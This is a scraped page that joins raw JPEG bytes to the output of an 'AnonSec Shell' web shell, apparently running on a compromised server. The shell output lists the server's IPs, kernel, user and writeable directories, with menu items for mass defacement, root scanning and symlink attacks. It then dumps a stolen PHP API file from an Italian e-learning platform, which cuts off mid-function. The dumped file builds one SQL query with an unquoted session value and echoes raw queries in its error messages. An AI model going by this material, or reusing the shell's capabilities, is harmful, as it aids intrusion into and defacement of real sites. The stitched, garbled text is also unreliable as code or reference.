JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/sapere/app/components/editors/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/sapere/app/components/editors/api.class.php
<?php
class APIEditors extends API
{
	
	protected $db;

	public function __construct()
	{
		$this->db = new DBLink(FILE_INI_MDADB);
		$this->db->SafeFetch("SET CHARACTER SET utf8 ");

	}  

	/* ---------------------------------------- */
	/* ----------------- ACL ------------------ */
	/* ---------------------------------------- */



	
	/* ---------------------------------------- */
	/* -------------- ANAGRAFICA -------------- */
	/* ---------------------------------------- */
	
	function getMyUserInfo() {
		// print_r($_SESSION['userdata']);
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "SELECT * FROM supervisori_user_info WHERE id_user = $id_user;";
		$res= $this->db->SafeFetchOne($query);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function updateAvatarLocation($files) {
		$id_user = $_SESSION['userdata']['id_user'];
		$_nome_file = $this->putFileS3Private("user_avatar", $id_user, $files[0]);
		$nome_file = end(explode("/",$_nome_file));
		$query = "UPDATE ".$this->getInfoTableName()." SET "
				. " avatar_location = " . $this->db->quoteText($nome_file) 
				. " WHERE id_user = " . $this->db->quoteInt($id_user);
		if ($this->db->SafeExec($query)) {
        	$this->getFile("user_avatar",$id_user,$nome_file);
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}
	function resetAvatarLocation() {
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "UPDATE ".$this->getInfoTableName()." SET "
				. " avatar_location = NULL "  
				. " WHERE id_user = " . $this->db->quoteInt($id_user);
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage(null, true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	function getAvatarLocation() {
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "SELECT avatar_location from ".$this->getInfoTableName().
				 " WHERE id_user = " . $this->db->quoteInt($id_user);
		$_nome_file = $this->db->SafeFetchOne($query);
		if ($_nome_file['avatar_location']) {
        	$this->getFile("user_avatar",$id_user,$_nome_file['avatar_location']);
    	} else {
			return $this->printMessage( $this->responseMessage(null, true) );
		}
	}

	

	function getAvanzamentoLezione($id_corso) {
		$id_corso =  $this->db->quoteInt($id_corso);
		$res= [];	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	
	/*esami*/

	function getEsame($_id_esame) {
		$id_esame =  $this->db->quoteInt($_id_esame);
		$query = "SELECT c.id_corso, c.id_esame,c.insert_time, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari, c.contenuti, c.caratteristiche, c.durata, c.erogazione 
		FROM corso_esame AS c WHERE c.id_esame = $id_esame";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getEsami() {
		$query = "SELECT c.*, 
		(SELECT COUNT(*) FROM iscrizioni_studenti_esami AS sub_c JOIN sessione AS ses ON ses.id_esame = sub_c.id_esame JOIN user AS u ON sub_c.id_user = u.id_user WHERE ses.id_esame = c.id_esame) AS totale_iscritti,
		(SELECT COUNT(*) FROM sessione AS sub_u WHERE sub_u.id_esame = c.id_esame) AS totale_sessioni ,
		(SELECT COUNT(*) FROM corso_esame_modulo AS sub_e WHERE sub_e.id_esame = c.id_esame) AS totale_moduli  
		FROM corso_esame AS c";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function aggiungiModuloEsame($_id_esame){
		$this->db->beginTransaction();
		$id_esame =  $this->db->quoteInt($_id_esame);
		$query_l = "INSERT INTO corso_esame_modulo (id_esame) VALUES($id_esame);";
		$id_modulo= $this->db->SafeInsert($query_l);
		if(!$id_modulo){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Modulo esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$query_l = "INSERT INTO corso_esame_domanda (id_modulo) VALUES($id_modulo);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}



		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire la nuova lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Inserito nuovo modulo!", true) );	
		}
	}

	function aggiornaTimeModuloEsame($_id_modulo, $_time){
		$time =  $this->db->quoteInt($_time);
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$q = "UPDATE corso_esame_modulo SET time = $time WHERE id_modulo = $id_modulo;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Timing del modulo aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaTitoloModulo($_id_modulo, $_titolo){
		$titolo =  $this->db->quoteText($_titolo);
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$q = "UPDATE corso_esame_modulo SET titolo = $titolo WHERE id_modulo = $id_modulo;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Titolo del modulo aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaOggettoModulo($_id_modulo, $_subject){
		$subject =  $this->db->quoteText($_subject);
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$q = "UPDATE corso_esame_modulo SET subject = $subject WHERE id_modulo = $id_modulo;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Oggetto del modulo aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!".$q, false) );
		}
	}
	function rimuoviModuloEsame($id_modulo){
		$this->db->beginTransaction();
		$id_modulo =  $this->db->quoteInt($id_modulo);
		$check = $this->db->SafeExec("DELETE FROM corso_esame_modulo WHERE id_modulo=$id_modulo");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare il modulo associato all esame!", false) );
		}
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare il modulo!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Domanda cancellata con succeso", true) );
		}
	}
	function updateEsame($_id_esame,$_titolo,$_categoria,$_colore,$_prezzo,$_descrizione,$_finalita,$_programma,$_destinatari,$_contenuti,$_caratteristiche,$_durata, $_erogazione){
		$id_esame =  $this->db->quoteInt($_id_esame);
		$erogazione =  $this->db->quoteInt($_erogazione);
		$prezzo =  $this->db->quoteDecimal($_prezzo);
		$durata =  $this->db->quoteInt($_durata);
		$titolo =  $this->db->quoteText($_titolo);
		$categoria =  $this->db->quoteText($_categoria);
		$colore =  $this->db->quoteText($_colore);
		$descrizione =  $this->db->quoteText($_descrizione);
		$finalita =  $this->db->quoteText($_finalita);
		$programma =  $this->db->quoteText($_programma);
		$destinatari =  $this->db->quoteText($_destinatari);
		$contenuti =  $this->db->quoteText($_contenuti);
		$caratteristiche =  $this->db->quoteText($_caratteristiche);
		$query = "UPDATE corso_esame SET "
				. " prezzo = $prezzo, "  
				. " durata = $durata, "  
				. " titolo = $titolo, "  
				. " categoria = $categoria, "  
				. " colore = $colore, "  
				. " descrizione = $descrizione, "  
				. " finalita = $finalita, "  
				. " programma = $programma, "  
				. " destinatari = $destinatari, "  
				. " contenuti = $contenuti, "  
				. " erogazione = $erogazione, "  
				. " caratteristiche = $caratteristiche "  
				. " WHERE id_esame = $id_esame;";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Esame modificato con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}
	
	function insertEsame($_titolo,$_categoria,$_colore,$_prezzo,$_descrizione,$_finalita,$_programma,$_destinatari,$_contenuti,$_caratteristiche,$_durata, $_erogazione){
		$this->db->beginTransaction();
		$erogazione =  $this->db->quoteInt($_erogazione);
		$prezzo =  $this->db->quoteDecimal($_prezzo);
		$durata =  $this->db->quoteInt($_durata);
		$titolo =  $this->db->quoteText($_titolo);
		$categoria =  $this->db->quoteText($_categoria);
		$colore =  $this->db->quoteText($_colore);
		$descrizione =  $this->db->quoteText($_descrizione);
		$finalita =  $this->db->quoteText($_finalita);
		$programma =  $this->db->quoteText($_programma);
		$destinatari =  $this->db->quoteText($_destinatari);
		$contenuti =  $this->db->quoteText($_contenuti);
		$caratteristiche =  $this->db->quoteText($_caratteristiche);
		$query = "INSERT INTO corso_esame "
				. " (prezzo,durata,titolo,categoria,colore,descrizione,finalita,programma,destinatari,contenuti,caratteristiche, erogazione) "
				. " VALUES($prezzo,$durata,$titolo,$categoria,$colore,$descrizione,$finalita,$programma,$destinatari,$contenuti,$caratteristiche, $erogazione); ";  
		$id_esame =$this->db->SafeInsert($query);
		if(!$id_esame){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire l'esame!".$query, false) );
		}

		$query = "INSERT INTO corso_esame_modulo "
				. " (prezzo,durata,titolo,id_esame) "
				. " VALUES($prezzo,$durata,'Modulo 1',$id_esame); ";  
		$id_modulo =$this->db->SafeInsert($query);
		if(!$id_modulo){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire il modulo dell'esame!".$query, false) );
		}
		
		$query_l = "INSERT INTO corso_esame_domanda (id_modulo) VALUES($id_modulo);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda esame non inserita errore nell'inserimento dell'esame!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame non inserita errore nell'inserimento dell'esame!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame non inserita errore nell'inserimento dell'esame!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame non inserita errore nell'inserimento dell'esame!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame non inserita errore nell'inserimento dell'esame!".$query_l, false) );
		}
		
		
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Esame non inserito errore in fase di creazione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Esame inserito con successo!", true) );
		}
	}
	
	function cambiaStatoEsame($_id_esame, $_stato){
		$id_esame =  $this->db->quoteInt($_id_esame);
		$stato =  $this->db->quoteInt($_stato);
		$query = "UPDATE corso_esame SET attivo = $stato WHERE id_esame = $id_esame";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Esame modificato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante la modifica, si prega di riprovare!", false) );
		}
	}

	function deleteEsame($_id_esame){
		
		$id_esame =  $this->db->quoteInt($_id_esame);
		$res = $this->db->SafeExec("DELETE FROM corso_esame WHERE id_esame=$id_esame");
		if ($res) {
			return $this->printMessage( $this->responseMessage("Esame eliminato con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	function getCentriEsami($_id_esame) {
		$id_esame =  $this->db->quoteInt($_id_esame);
		$query = "SELECT user.*, centri_user_info.* FROM centri_esami_assegnati LEFT JOIN user ON user.id_user=centri_esami_assegnati.id_centro LEFT JOIN centri_user_info ON centri_user_info.id_user = user.id_user WHERE centri_esami_assegnati.id_esame = ".$id_esame;
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getEsamePaniere($_id_esame) {
		$id_esame =  $this->db->quoteInt($_id_esame);
		$query = "SELECT cl.id_esame, cl.id_modulo, cl.prezzo, cl.time, cl.titolo, cl.subject, cl.testo, cl.files, cl.video, cl.image, cl.quiz, cl.time, cl.video_url, cl.image_url, cl.quiz_on, cl.rating, cl.numero_domande,cl.erogazione, 
		(SELECT JSON_ARRAYAGG( 
							JSON_OBJECT('id_domanda', cld.id_domanda,'domanda', cld.domanda,'attiva', cld.attiva,'risposte'
									,(SELECT JSON_ARRAYAGG(
													JSON_OBJECT('id_risposta', clr.id_risposta,'risposta', clr.risposta,'corretta', clr.corretta)
												) FROM corso_esame_risposta AS clr WHERE clr.id_domanda = cld.id_domanda 
									 )	
									)
						) FROM corso_esame_domanda AS cld WHERE cld.id_modulo = cl.id_modulo
		) AS paniere FROM corso_esame_modulo AS cl WHERE cl.id_esame = $id_esame";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	/*esami*/

	function cambiaStatoCorso($_id_corso, $_stato){
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_corso =  $this->db->quoteInt($_id_corso);
		$stato =  $this->db->quoteInt($_stato);
		$query = "UPDATE corso SET attivo = $stato WHERE id_corso = $id_corso";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Corso modificato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante la modifica, si prega di riprovare!", false) );
		}
	}
	function updatePosizioniLezioni($_posizioni){
		$this->db->beginTransaction();
		$posizioni = json_decode($_posizioni, true);
		$toRet = array();
		foreach ($posizioni as $key => $value) {
			$id_lezione = $this->db->quoteInt($value['id_lezione']);
			$posizione = $this->db->quoteInt($value['posizione']);
			$query = "UPDATE corso_lezione SET ordine = $posizione WHERE id_lezione = $id_lezione";
			$a = $this->db->SafeExec($query);
			if (!$a) {
				$this->db->rollback();
				return $this->printMessage( $this->responseMessage("Non è stato possibile aggiornare le posizioni!", false) );
			}
		}
		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile aggiornare le posizioni!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Posizioni aggiornate!", true) );	
		}
	}
	function getCorsi() {
		$query = "SELECT c.id_corso, c.disabilita_navigazione, c.scorrimento_automatico_slide, c.timer_come_video, c.timer_lezione, c.timer_slide, c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari, c.contenuti, c.caratteristiche,  c.durata, c.tipologia, c.erogazione, c.attivo, 
		(SELECT COUNT(*) FROM iscrizioni_studenti_corsi AS sub_c JOIN user AS u ON sub_c.id_user = u.id_user WHERE sub_c.id_corso = c.id_corso) AS totale_iscritti,
		(SELECT COUNT(*) FROM corso_edizione AS sub_u WHERE sub_u.id_corso = c.id_corso) AS totale_sessioni  
		FROM corso AS c";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	function getCorso($_id_corso) {
		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT c.id_corso, c.disabilita_navigazione, c.scorrimento_automatico_slide, c.timer_come_video, c.timer_lezione, c.timer_slide, c.insert_time, c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari, c.contenuti, c.caratteristiche, c.durata, c.tipologia, c.erogazione 
		FROM corso AS c WHERE c.id_corso = $id_corso";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	function autosaveNumeroDomandeCorso($_id_corso, $_numero_domande){
		$numero_domande =  $this->db->quoteInt($_numero_domande);
		$id_corso =  $this->db->quoteInt($_id_corso);
		$q = "UPDATE corso_lezione SET numero_domande = $numero_domande WHERE id_corso = $id_corso;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Numero domande esame aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}
	function autosaveRatingCorso($_id_corso, $_rating){
		$rating =  $this->db->quoteInt($_rating);
		$id_corso =  $this->db->quoteInt($_id_corso);
		$q = "UPDATE corso_lezione SET rating = $rating WHERE id_corso = $id_corso;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Rating esame aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}
	function getCorsoLezioni($_id_corso) {
		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT cl.id_lezione, cl.id_corso, cl.rating, cl.numero_domande, cl.ordine, cl.titolo, cl.subject, cl.testo, cl.files, cl.video, cl.image, cl.quiz, cl.time, cl.video_url, cl.image_url, cl.quiz_on, cl.quiz_time, cl.disabilita_navigazione, cl.scorrimento_automatico_slide, cl.timer_come_video, cl.timer_slide, cl.video_len, (SELECT JSON_ARRAYAGG( JSON_OBJECT('id_domanda', cld.id_domanda,'domanda', cld.domanda,'attiva', cld.attiva,'risposte',(SELECT JSON_ARRAYAGG(JSON_OBJECT('id_risposta', clr.id_risposta,'risposta', clr.risposta,'corretta', clr.corretta)) FROM corso_lezione_risposta AS clr WHERE clr.id_domanda = cld.id_domanda ))) FROM corso_lezione_domanda AS cld WHERE cld.id_lezione = cl.id_lezione) AS paniere FROM corso_lezione AS cl WHERE cl.id_corso = $id_corso";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	function getCorsoEsame($_id_corso) {
		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT cl.id_esame, cl.id_corso, cl.titolo, cl.subject, cl.testo, cl.files, cl.video, cl.image, cl.quiz, cl.time, cl.video_url, cl.image_url, cl.quiz_on, cl.rating, cl.numero_domande, (SELECT JSON_ARRAYAGG( JSON_OBJECT('id_domanda', cld.id_domanda,'domanda', cld.domanda,'attiva', cld.attiva,'risposte',(SELECT JSON_ARRAYAGG(JSON_OBJECT('id_risposta', clr.id_risposta,'risposta', clr.risposta,'corretta', clr.corretta)) FROM corso_esame_risposta AS clr WHERE clr.id_domanda = cld.id_domanda ))) FROM corso_esame_domanda AS cld WHERE cld.id_esame = cl.id_esame) AS paniere FROM corso_esame AS cl WHERE cl.id_corso = $id_corso";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function autosaveTimerComeVideoLezione($_id_lezione, $_timer_come_video){
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$timer_come_video =  $this->db->quoteInt($_timer_come_video);
		$query = "UPDATE corso_lezione SET timer_come_video = $timer_come_video WHERE id_lezione = $id_lezione";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Timer come video salvato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante il salvataggio del timer come video, si prega di riprovare!", false) );
		}
	}

	function autosaveTipologiaCorso($_id_corso, $_tipologia){
		$id_corso =  $this->db->quoteInt($_id_corso);
		$tipologia =  $this->db->quoteText($_tipologia);
		$query = "UPDATE corso SET tipologia = $tipologia WHERE id_corso = $id_corso";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Tipologia di fruizione salvata con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante il salvataggio della tipologia, si prega di riprovare!", false) );
		}
	}

	function autosaveEsameAttivoCorso($_id_corso, $_esame_attivo){
		$id_corso =  $this->db->quoteInt($_id_corso);
		$esame_attivo =  $this->db->quoteInt($_esame_attivo);
		$query = "UPDATE corso SET esame_attivo = $esame_attivo WHERE id_corso = $id_corso";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Aggiornamento effettuato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante il salvataggio dell'esame attivo, si prega di riprovare!", false) );
		}
	}

	function autosaveEsameLiberoCorso($_id_corso, $_esame_libero){
		$id_corso =  $this->db->quoteInt($_id_corso);
		$esame_libero =  $this->db->quoteInt($_esame_libero);
		$query = "UPDATE corso SET esame_libero = $esame_libero WHERE id_corso = $id_corso";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Aggiornamento effettuato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante il salvataggio dell'esame attivo, si prega di riprovare!", false) );
		}
	}
	

	function inserisciLezioneCorso($_id_corso){
		$this->db->beginTransaction();

		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT * FROM corso WHERE id_corso = $id_corso";
		$corso= $this->db->SafeFetchOne($query);	
		if(!$corso){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Corso non trovato!", false) );
		}
		
		$id_lezione = $this->db->SafeInsert("INSERT INTO corso_lezione (id_corso, disabilita_navigazione, scorrimento_automatico_slide, timer_come_video, time, timer_slide) VALUES($id_corso, ".$corso['disabilita_navigazione'].", ".$corso['scorrimento_automatico_slide'].", ".$corso['timer_come_video'].", ".$corso['timer_lezione'].", ".$corso['timer_slide']." );");
		if(!$id_lezione){		
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile associare il corso al centro!", false) );
		}

		$query_l = "INSERT INTO corso_lezione_domanda (id_lezione) VALUES($id_lezione);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire la nuova lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Inserita nuova lezione!", true) );	

		}
	}
	function cancellaLezioneCorso($_id_lezione){
		$this->db->beginTransaction();
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$check = $this->db->SafeExec("DELETE FROM corso_lezione WHERE id_lezione=$id_lezione");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la lezione!", false) );
		}
		$check = $this->db->SafeExec("DELETE FROM corso_lezione_domanda WHERE id_lezione=$id_lezione");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la domanda associata alla lezione!", false) );
		}
		// $check = $this->db->SafeExec("DELETE FROM corso_lezione WHERE id_lezione=$id_lezione");
		// if(!$check){	
		// 	return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la lezione!", false) );
		// }

		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Lezione cancellata con succeso", true) );
		}
	}

	

	function cancellaQuizLezioneCorso($_id_lezione){
		$this->db->beginTransaction();
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET quiz = 0 WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile disattivare il quiz della lezione!", false) );
		}
		$check = $this->db->SafeExec("DELETE FROM corso_lezione_domanda WHERE id_lezione=$id_lezione");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare il quiz associato alla lezione!", false) );
		}
		$query_l = "INSERT INTO corso_lezione_domanda (id_lezione) VALUES($id_lezione);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
